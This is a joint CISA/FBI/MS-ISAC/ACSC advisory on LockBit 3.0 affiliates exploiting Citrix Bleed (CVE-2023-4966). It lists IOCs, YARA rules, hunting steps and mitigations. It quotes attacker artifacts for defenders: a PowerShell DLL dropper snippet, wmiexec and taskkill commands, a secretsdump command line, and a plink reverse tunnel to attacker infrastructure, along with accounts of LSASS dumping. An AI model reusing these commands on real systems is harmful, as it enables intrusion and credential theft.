CYBERSECURITY ADVISORY

Authored by:

MS-ISAC®
Multi-State Information Sharing & Analysis Center®

ASD AUSTRALIAN SIGNALS DIRECTORATE
ACSC Australian Cyber Security Centre

TLP:CLEAR

Product ID: AA23-325A
November 21, 2023

#StopRansomware: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed Vulnerability

SUMMARY

Note: *This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.*

The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Multi-State Information Sharing & Analysis Center (MS-ISAC), and Australian Signals Directorate's Australian Cyber Security Center (ASD's ACSC) are releasing this joint Cybersecurity Advisory (CSA) to disseminate IOCs, TTPs, and detection methods associated with LockBit 3.0 ransomware exploiting CVE-2023-4966, labeled Citrix Bleed, affecting Citrix NetScaler web application delivery control (ADC) and NetScaler Gateway appliances.

This CSA provides TTPs and IOCs obtained from FBI, ACSC, and voluntarily shared by Boeing. Boeing observed LockBit 3.0 affiliates exploiting CVE-2023-4966, to obtain initial access to Boeing Distribution Inc., its parts and distribution business that maintains a separate environment. Other trusted third parties have observed similar activity impacting their organization.

Historically, LockBit 3.0 affiliates have conducted attacks against organizations of varying sizes across multiple critical infrastructure sectors, including education, energy, financial services, food and agriculture, government and emergency services, healthcare, manufacturing, and transportation. Observed TTPs for LockBit ransomware attacks can vary significantly in observed TTPs.

U.S. organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or SOC@cisecurity.org).

Citrix Bleed, known to be leveraged by LockBit 3.0 affiliates, allows threat actors to bypass password requirements and multifactor authentication (MFA), leading to successful session hijacking of legitimate user sessions on Citrix NetScaler web application delivery control (ADC) and Gateway appliances. Through the takeover of legitimate user sessions, malicious actors acquire elevated permissions to harvest credentials, move laterally, and access data and resources.

CISA and the authoring organizations strongly encourage network administrators to apply the mitigations found in this CSA, which include isolating NetScaler ADC and Gateway appliances and applying necessary software updates through the Citrix Knowledge Center.

The authoring organizations encourage network defenders to hunt for malicious activity on their networks using the detection methods and IOCs within this CSA. If a potential compromise is detected, organizations should apply the incident response recommendations. If no compromise is detected, organizations should immediately apply patches made publicly available.

TECHNICAL DETAILS

Note: *This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.*

CVE-2023-4966

CVE-2023-4966 is a software vulnerability found in Citrix NetScaler ADC and NetScaler Gateway appliances with exploitation activity identified as early as August 2023. This vulnerability provides threat actors, including LockBit 3.0 ransomware affiliates, the capability to bypass MFA [T1556.006] and hijack legitimate user sessions [T1563].

After acquiring access to valid cookies, LockBit 3.0 affiliates establish an authenticated session within the NetScaler appliance without a username, password, or access to MFA tokens [T1539]. Affiliates acquire this by sending an HTTP GET request with a crafted HTTP Host header, leading to a vulnerable appliance returning system memory information [T1082]. The information obtained through this exploit contains a valid NetScaler AAA session cookie.

Citrix publicly disclosed CVE-2023-4966 on Oct. 10, 2023, within their Citrix Security Bulletin, which issued guidance, and detailed the affected products, IOCs, and recommendations. Based on widely available public exploits and evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities (KEVs) Catalog. This critical vulnerability exploit impacts the following software versions [1]:

- NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
- NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
- NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
- NetScaler ADC and NetScaler Gateway version 12.1 (EOL)
- NetScaler ADC 13.1FIPS before 13.1-37.163

- NetScaler ADC 12.1-FIPS before 12.1-55.300
- NetScaler ADC 12.1-NDcPP before 12.1-55.300

Due to the ease of exploitation, CISA and the authoring organizations expect to see widespread exploitation of the Citrix vulnerability in unpatched software services throughout both private and public networks.

Threat Actor Activity

Malware identified in this campaign is generated beginning with the execution of a PowerShell script (`123.ps1`) which concatenates two base64 strings together, converts them to bytes, and writes them to the designated file path.

```
$y = "TVqQAAMA...<long base64 string>"
$x = "RyEHABFQ...<long base64 string>"
$filePath = "C:\Users\Public\adobelib.dll"
$fileBytes = [System.Convert]::FromBase64String($y + $x)
[System.IO.File]::WriteAllBytes($filePath, $fileBytes)
```

The resulting file (`adobelib.dll`) is then executed by the PowerShell script using `rundll32`.

```
rundll32 C:\Users\Public\adobelib.dll,main <104 hex char key>
```

The Dynamic Link Library (DLL) will not execute correctly without the 104 hex character key. Following execution, the DLL attempts to send a POST request to https://adobe-us-updatefiles[.]digital/index.php which resolves to IP addresses 172.67.129[.]176 and 104.21.1[.]180 as of November 16, 2023. Although adobelib.dll and the adobe-us-updatefiles[.]digital have the appearance of legitimacy, the file and domain have no association with legitimate Adobe software and no identified interaction with the software.

Other observed activities include the use of a variety of TTPs commonly associated with ransomware activity. For example, LockBit 3.0 affiliates have been observed using AnyDesk and Splashtop remote management and monitoring (RMM), Batch and PowerShell scripts, the execution of HTA files using the Windows native utility mshta.exe and other common software tools typically associated with ransomware incidents.

INDICATORS OF COMPROMISE (IOCS)

See Table 1–Table 5 for IOCs related to Lockbit 3.0 affiliate exploitation of CVE-2023-4966.

[Fidelity] Legend:

- High = Indicator is unique or highly indicates LockBit in an environment.
- Medium = Indicator was used by LockBit but is used outside of LockBit activity, albeit rarely.
- Low = Indicates tools that are commonly used but were used by LockBit.

Low confidence indicators may not be related to ransomware.

Table 1: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator	Type	Fidelity	Description
192.229.221[.]95	IP	Low	`Mag.dll` calls out to this IP address. Ties back to `dns0.org`. Should run this DLL in a sandbox, when possible, to confirm C2. IP is shared hosting.
123.ps1	PowerShell script	High	Creates and executes payload via script.
193.201.9[.]224	IP	High	FTP to Russian geolocated IP from compromised system
62.233.50[.]25	IP	High	Russian geolocated IP from compromised system Hxxp://62.233.50[.]25/en-us/docs.html Hxxp://62.233.50[.]25/en-us/test.html
51.91.79[.].17	IP	Med	`Temp.sh` IP
Teamviewer	Tool (Remote Admin)	Low	
70.37.82[.]20	IP	Low	IP was seen from a known compromised account reaching out to an Altera IP address. LockBit is known to leverage Altera, a remote admin tool, such as Anydesk, team viewer, etc.
185.17.40[.]178	IP	Low	Teamviewer C2, ties back to a polish service provider, Artnet Sp. Zo.o. Polish IP address

Table 2: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator	Type	Fidelity	Description
185.229.191.41	Anydesk Usage	High	Anydesk C2
81.19.135[.]219	IP	High	Russian geolocated IP hxxp://81.19.135[.]219/F8PtZ87fE8dJWqe.hta Hxxp://81.19.135[.]219:443/q0X5wzEh6P7.hta
45.129.137[.]233	IP	Medium	Callouts from known compromised device beginning during the compromised window.

185.229.191[.]41	Anydesk Usage	High	Anydesk C2
Plink.exe	Command interpreter	High	Plink (PuTTY Link) is a command-line connection tool, similar to UNIX SSH. It is mostly used for automated operations, such as making CVS access a repository on a remote server. Plink can be used to automate SSH actions and for remote SSH tunneling on Windows.
AnyDeskMSI.exe	Remote admin tool	High	We do see that AnyDeskMSI.exe was installed as a service with "auto start" abilities for persistence. Config file from the image could be leveraged to find the ID and Connection IP, but we do not have that currently.
SRUtility.exe	Splashtop utility		9b6b722ba4a691a2fe21747cd5b8a2d18811a173413d4934949047e04e40b30a
Netscan exe	Network scanning software	High	498ba0afa5d3b390f852af66bd6e763945bf9b6bff2087015ed8612a18372155

Table 3: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator	Type	Fidelity	Description
Scheduled task: \MEGA\MEGAcmd	Persistence	High	
Scheduled task: UpdateAdobeTask	Persistence	High	
Mag.dll	Persistence	High	Identified as running within UpdateAdobeTask `cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63`
123.ps1	Script	High	Creates `rundll32 C:\Users\Public\adobelib.dll,main` `ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44`

Adobelib.dll	Persistence	Low	C2 from `adobelib.dll`.
Adobe-us-updatefiles[.]digital	Tool Download	High	Used to download obfuscated toolsets
172.67.129[.]176	Tool Download	High	IP of adobe-us-updatefiles[.]digital
104.21.1[.]180	Tool Download	High	Adobe-us-updatefiles[.]digital
cmd.exe /q /c cd 1> \\127.0.0.1\admin$__1698617793[.]44 2>&1	Command	High	wmiexec.exe usage
cmd.exe /q /c cd \ 1> \\127.0.0.1\admin$__1698617793[.]44 2>&1	Command	High	wmiexec.exe usage
cmd.exe /q /c query user 1> \\127.0.0.1\admin$__1698617793[.]44 2>&1	Command	High	wmiexec.exe usage
cmd.exe /q /c taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe /im sqlwb.exe /im sqltob.exe /im sqlservr.exe /im sqlserver.exe /im sqlscan.exe /im sqlbrowser.exe /im sqlrep.exe /im sqlmangr.exe /im sqlexp3.exe /im sqlexp2.exe /im sqlex	Command	High	wmiexec.exe usage
cmd.exe /q /c cd \ 1> \\127.0.0.1\admin$__1698618133[.]54 2>&1	Command	High	wmiexec.exe usage

The authoring organizations recommended monitoring/reviewing traffic to the `81.19.135[.]*` class C network and review for MSHTA being called with HTTP arguments [3].

Table 4: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator	Type	Fidelity	Description	Notes
81.19.135[.]219	IP	High	Russian geolocated IP used by user to request mshta with http arguments to download random named HTA file named q0X5wzzEh6P7.hta	
81.19.135[.]220	IP	High	Russian geolocated IP, seen outbound in logs	IP registered to a South African Company
81.19.135[.]226	IP	High	Russian geolocated IP, seen outbound in logs	IP registered to a South African Company

Table 5: Citrix Bleed Indicators of Compromise (IOCs)

Type	Indicator	Description
Filename	c:\users\<username>\downloads\process hacker 2\peview.exe	Process hacker
Filename	c:\users\<username>\music\process hacker 2\processhacker.exe	Process hacker
Filename	psexesvc.exe	Psexec service excutable
Filename	c:\perflogs\processhacker.exe	Process hacker
Filename	c:\windows\temp\screenconnect\23.8.5.8707\files\processhacker.exe	Process hacker transferred via screenconnect
Filename	c:\perflogs\lsass.dmp	Lsass dump
Filename	c:\users\<username>\downloads\mimikatz.exe	Mimikatz
Filename	c:\users\<username>\desktop\proc64\proc.exe	Procdump

Filename	c:\users\<username>\documents\veeam-get-creds.ps1	Decrypt veeam creds
Filename	secretsdump.py	Impacket installed on azure vm
Cmdline	secretsdump.py <domain>/<username>@<ip> -outputfile 1	Impacket installed on azure vm
Filename	ad.ps1	Adrecon found in powershell transcripts
Filename	c:\perflogs\64-bit\netscan.exe	Softperfect netscan
Filename	tniwinagent.exe	Total network inventory agent
Filename	psexec.exe	Psexec used to deploy screenconnect
Filename	7z.exe	Used to compress files
Tool	Action1	RMM
Tool	Atera	RMM
tool	anydesk	rmm
tool	fixme it	rmm
tool	screenconnect	rmm
tool	splashtop	rmm
tool	zoho assist	rmm

ipv4	101.97.36[.]61	zoho assist
ipv4	168.100.9[.]137	ssh portforwarding infra
ipv4	185.20.209[.]127	zoho assist
ipv4	185.230.212[.]83	zoho assist
ipv4	206.188.197[.]22	powershell reverse shell seen in powershell logging
ipv4	54.84.248[.]205	fixme ip
Ipv4	141.98.9[.]137	Remote IP for CitrixBleed
domain	assist.zoho.eu	zoho assist
filename	c:\perflogs\1.exe	connectwise renamed
filename	c:\perflogs\run.exe	screenconnect pushed by psexec
filename	c:\perflogs\64-bit\m.exe	connectwise renamed
filename	c:\perflogs\64-bit\m0.exe	connectwise renamed
filename	c:\perflogs\za_access_my_department.exe	zoho remote assist
filename	c:\users\<username>\music\za_access_my_department.exe	zoho remote assist
filename	c:\windows\servicehost.exe	plink renamed

filename	c:\windows\sysconf.bat	runs servicehost.exe (plink) command
filename	c:\windows\temp\screenconnect\23.8.5.8707\files\azure.msi	zoho remote assist used to transfer data via screenconnect
cmdline	echo enter | c:\windows\servicehost.exe -ssh -r 8085:127.0.0.1:8085 <username>@168.100.9[.]137 -pw <password>	plink port forwarding
domain	eu1-dms.zoho[.]eu	zoho assist
domain	fixme[.]it	fixme it
domain	unattended.techninline[.]net	fixme it

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 6 and Table 7 for all referenced threat actor tactics and techniques in this advisory.

Table 6: ATT&CK Techniques for Enterprise: Discovery

Technique Title	ID	Use
System Information Discovery	T1082	Threat actors will attempt to obtain information about the operating system and hardware, including versions, and patches.

Table 7: ATT&CK Techniques for Enterprise: Credential Access

Technique Title	ID	Use
Modify Authentication Process: Multifactor Authentication	T1556.006	Threat actors leverage vulnerabilities found within CVE- to compromise, modify, and/or bypass multifactor authentication to hijack user sessions,

		harvest credentials, and move laterally, which enables persistent access.
Steal Web Session Cookie	T1539	Threat actors with access to valid cookies can establish an authenticated session within the NetScaler appliance without a username, password, or access to multifactor authentication (MFA) tokens.

DETECTION METHODS

Hunting Guidance

Network defenders should prioritize observing users in session when hunting for network anomalies. This will aid the hunt for suspicious activity such as installing tools on the system (e.g., putty, rClone), new account creation, log item failure, or running commands such as hostname, quser, whoami, net, and taskkill. Rotating credentials for identities provisioned for accessing resources via a vulnerable NetScaler ADC or Gateway appliance can also aid in detection.

For IP addresses:

- Identify if NetScaler logs the change in IP.
- Identify if users are logging in from geolocations uncommon for your organization's user base.
- If logging VPN authentication, identify if users are associated with two or more public IP addresses while in a different subnet or geographically dispersed.

Note: MFA to NetScaler will not operate as intended due to the attacker bypassing authentication by providing a token/session for an already authenticated user.

The following procedures can help identify potential exploitation of CVE-2023-4966 and LockBit 3.0 activity:

- Search for filenames that contain `tf0gYx2YI` for identifying LockBit encrypted files.
- LockBit 3.0 actors were seen using the `C:\Temp` directory for loading and the execution of files.
- Investigate requests to the HTTP/S endpoint from WAF.
- Hunt for suspicious login patterns from NetScaler logs
- Hunt for suspicious virtual desktop agent Windows Registry keys
- Analyze memory core dump files.

Below, are CISA developed YARA rules and an open-source rule that may be used to detect malicious activity in the Citrix NetScaler ADC and Gateway software environment. For more information on detecting suspicious activity within NetScaler logs or additional resources, visit CISA's Malware Analysis Report or the resource section of this CSA [2]:

YARA Rules

CISA received four files for analysis that show files being used to save registry hives, dump the Local Security Authority Subsystem Service (LSASS) process memory to disk, and attempt to establish sessions via Windows Remote Management (WinRM). The files include:

- Windows Batch file (.bat)
- Windows Executable (.exe)
- Windows Dynamic Link Library (.dll)
- Python Script (.py)

```
rule CISA_10478915_01 : trojan installs_other_components
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "installs-other-components"
malware_Type = "trojan"
tool_type = "information-gathering"
description = "Detects trojan .bat samples"
sha256 = "98e79f95cf8de8ace88bf223421db5dce303b112152d66ffdf27ebdfcdf967e9"
strings:
$s1 = { 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 61 73 6b 73 5c 7a 2e 74 78 74 }
$s2 = { 72 65 67 20 73 61 76 65 20 68 6b 6c 6d 5c 73 79 73 74 65 6d 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 61 73 6b
73
5c 65 6d }
$s3 = { 6d 61 6b 65 63 61 62 20 63 3a 5c 75 73 65 72 73 5c 70 75 62 6c 69 63 5c 61 2e 70 6e 67 20 63 3a 5c 77 69 6e
64
6f 77 73 5c 74 61 73 6b 73 5c 61 2e 63 61 62 }
condition:
all of them
}
```

This file is a Windows batch file called a.bat that is used to execute the file called a.exe with the file called a.dll as an argument. The output is printed to a file named 'z.txt' located in the path C:\Windows\Tasks. Next, a.bat pings the loop back internet protocol (IP) address 127.0.0[.]1 three times.
The next command it runs is reg save to save the HKLM\SYSTEM registry hive into the C:\Windows\tasks\em directory. Again, a.bat pings the loop back address 127.0.0[.]1 one time before executing another reg save command and saves the HKLM\SAM registry hive into the C:\Windows\Task\am directory. Next, a.bat runs three makecab commands to create three cabinet (.cab) files from the previously mentioned saved registry hives and one file named C:\Users\Public\a.png. The names of the .cab files are as follows:

- c:\windows\tasks\em.cab

- c:\windows\tasks\am.cab
- c:\windows\tasks\a.cab

```
rule CISA_10478915_02 : trojan installs_other_components
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "installs-other-components"
malware_type = "trojan"
tool_type = "unknown"
description = "Detects trojan PE32 samples"
sha256 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
strings:
$s1 = { 57 72 69 74 65 46 69 6c 65 }
$s2 = { 41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69 6e 61 74 69 6f 6e 4d 65 74 68 6f 64 }
$s3 = { 6f 70 65 72 61 74 6f 72 20 63 6f 5f 61 77 61 69 74 }
$s4 = { 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 }
$s5 = { 64 65 6c 65 74 65 5b 5d }
$s6 = { 4e 41 4e 28 49 4e 44 29 }
condition:
uint16(0) == 0x5a4d and pe.imphash() == "6e8ca501c45a9b85fff2378cffaa24b2" and pe.size_of_code == 84480 and all
of
them
}
```

This file is a 64-bit Windows command-line executable called a.exe that is executed by a.bat. This file issues the remote procedure call (RPC) ncalrpc:[lsasspirpc] to the RPC end point to provide a file path to the LSASS on the infected machine. Once the file path is returned, the malware loads the accompanying DLL file called a.dll into the running LSASS process. If the DLL is correctly loaded, then the malware outputs the message "[*]success" in the console.

```
rule CISA_10478915_03 : trojan steals_authentication_credentials credential_exploitation
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "steals-authentication-credentials"
malware_type = "trojan"
tool_type = "credential-exploitation"
description = "Detects trojan DLL samples"
sha256 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
strings:
$s1 = { 64 65 6c 65 74 65 }
$s2 = { 3c 2f 74 72 75 73 74 49 6e 66 6f 3e }
$s3 = { 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 }
$s4 = { 49 6e 69 74 69 61 6c 69 7a 65 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 45 78 }
$s5 = { 46 69 6e 64 46 69 72 73 74 46 69 6c 65 45 78 57 }
$s6 = { 47 65 74 54 69 63 6b 43 6f 75 6e 74 }
```

```
condition:
uint16(0) == 0x5a4d and pe.subsystem == pe.SUBSYSTEM_WINDOWS_CUI and pe.size_of_code == 56832 and all of
them
}
```

This file is a 64-bit Windows DLL called a.dll that is executed by a.bat as a parameter for the file a.exe. The file a.exe loads this file into the running LSASS process on the infected machine. The file a.dll calls the Windows API CreateFileW to create a file called a.png in the path C:\Users\Public.

Next, a.dll loads DbgCore.dll then utilizes MiniDumpWriteDump function to dump LSASS process memory to disk. If successful, the dumped process memory is written to a.png. Once this is complete, the file a.bat specifies that the file a.png is used to create the cabinet file called a.cab in the path C:\Windows\Tasks.

```
rule CISA_10478915_04 : backdoor communicates_with_c2 remote_access
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "communicates-with-c2"
malware_type = "backdoor"
tool_type = "remote-access"
description = "Detects trojan python samples"
sha256 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
strings:
$s1 = { 70 6f 72 74 20 3d 20 34 34 33 20 69 66 20 22 68 74 74 70 73 22 }
$s2 = { 6b 77 61 72 67 73 2e 67 65 74 28 22 68 61 73 68 70 61 73 73 77 64 22 29 3a }
$s3 = { 77 69 6e 72 6d 2e 53 65 73 73 69 6f 6e 20 62 61 73 69 63 20 65 72 72 6f 72 }
$s4 = { 57 69 6e 64 77 6f 73 63 6d 64 2e 72 75 6e 5f 63 6d 64 28 73 74 72 28 63 6d 64 29 29 }
condition:
all of them
}
```

This file is a Python script called a.py that attempts to leverage WinRM to establish a session. The script attempts to authenticate to the remote machine using NT LAN Manager (NTLM) if the keyword "hashpasswd" is present. If the keyword "hashpasswd" is not present, then the script attempts to authenticate using basic authentication. Once a WinRM session is established with the remote machine, the script has the ability to execute command line arguments on the remote machine. If there is no command specified, then a default command of “whoami” is run.

Open Source YARA Rule

```
Import "pe"
rule M_Hunting_Backdoor_FREEFIRE
{
meta: author = "Mandiant"
```

```
description = "This is a hunting rule to detect FREEFIRE samples using OP code sequences in getLastRecord method"
 md5 = "eb842a9509dece779d138d2e6b0f6949"
malware_family = "FREEFIRE"
strings: $s1 = { 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? ??
}
condition:
uint16(0) == 0x5A4D
and filesize >= 5KB
and pe.imports("mscoree.dll")
and all of them }
```

INCIDENT RESPONSE

Organizations are encouraged to assess Citrix software and your systems for evidence of compromise, and to hunt for malicious activity (see Additional Resources section).If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the web management software as well as installing malicious code.

If a potential compromise is detected, organizations should:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Create new account credentials.
4. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
    - **Note:** Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.

5. Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI Field Office, or CISA via the agency's Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government (SLTT) entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). If outside of the US, please contact your national cyber center.

MITIGATIONS

The authoring organizations of this CSA recommend organizations implement the mitigations below to improve your cybersecurity posture on the basis of the threat actor activity and to reduce the risk of compromise associated with Citrix CVE 2023-4966 and LockBit 3.0 ransomware & ransomware affiliates. These mitigations align with the Cross-Sector Cybersecurity performance goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

These mitigations apply to all critical infrastructure organizations and network defenders using Citrix NetScaler ADC and Gateway software. CISA and authoring organizations recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of exploitation such as threat actors leveraging unpatched vulnerabilities within Citrix NetScaler appliances, which strengthens the security posture of their customers.

For more information on secure by design, see CISA's Secure by Design and Default webpage and joint guide.

- **Isolate NetScaler ADC and Gateway appliances** for testing until patching is ready and deployable.
- **Secure remote access tools by:**
  - **Implement application controls** to manage and control the execution of software, including allowlisting remote access programs. Application controls should prevent the installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
- **Strictly limit the use of RDP and other remote desktop services**. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  - Audit the network for systems using RDP.
  - Close unused RDP ports.
  - Enforce account lockouts after a specified number of attempts.
  - Apply phishing-resistant multifactor authentication (MFA).
  - Log RDP login attempts.
- **Restrict the use of PowerShell**, using Group Policy, and only grant access to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].

- **Update Windows PowerShell or PowerShell Core** to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
- **Enable enhanced PowerShell logging** [CPG 2.T, 2.U].
    - PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor's PowerShell use.
    - Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging).
    - The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible.
- **Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations** requiring administrator privileges to reduce the risk of lateral movement by PsExec.
- **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
- **Require all accounts** with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST's standards for developing and managing password policies.
    - Use longer passwords consisting of at least 15 characters [CPG 2.B].
    - Store passwords in hashed format using industry-recognized password managers.
    - Add password user "salts" to shared login credentials.
    - Avoid reusing passwords [CPG 2.C].
    - Implement multiple failed login attempt account lockouts [CPG 2.G].
    - Disable password "hints."
    - Require administrator credentials to install software.
- **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
    - Upgrade vulnerable NetScaler ADC and Gateway appliances to the latest version available to lower the risk of compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 6:).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and the authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

- Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
- The Joint Ransomware Guide provides preparation, prevention, and mitigation best practices as well as a ransomware response checklist.
- Cyber Hygiene Services and Ransomware Readiness Assessment provide no-cost cyber hygiene and ransomware readiness assessment services.

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with LockBit 3.0 affiliates, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3) at ic3.gov, local FBI Field Office, or CISA via the agency's Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

DISCLAIMER

The information in this report is being provided "as is" for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific

commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring organizations.

ACKNOWLEDGEMENTS

Boeing contributed to this CSA.

REFERENCES

[1] NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966

[2] Investigation of Session Hijacking via Citrix NetScaler ADC and Gateway Vulnerability (CVE-2023-4966

[3] What is Mshta, How Can it Be Used and How to Protect Against it (McAfee)

VERSION HISTORY

November 21, 2023: Initial version.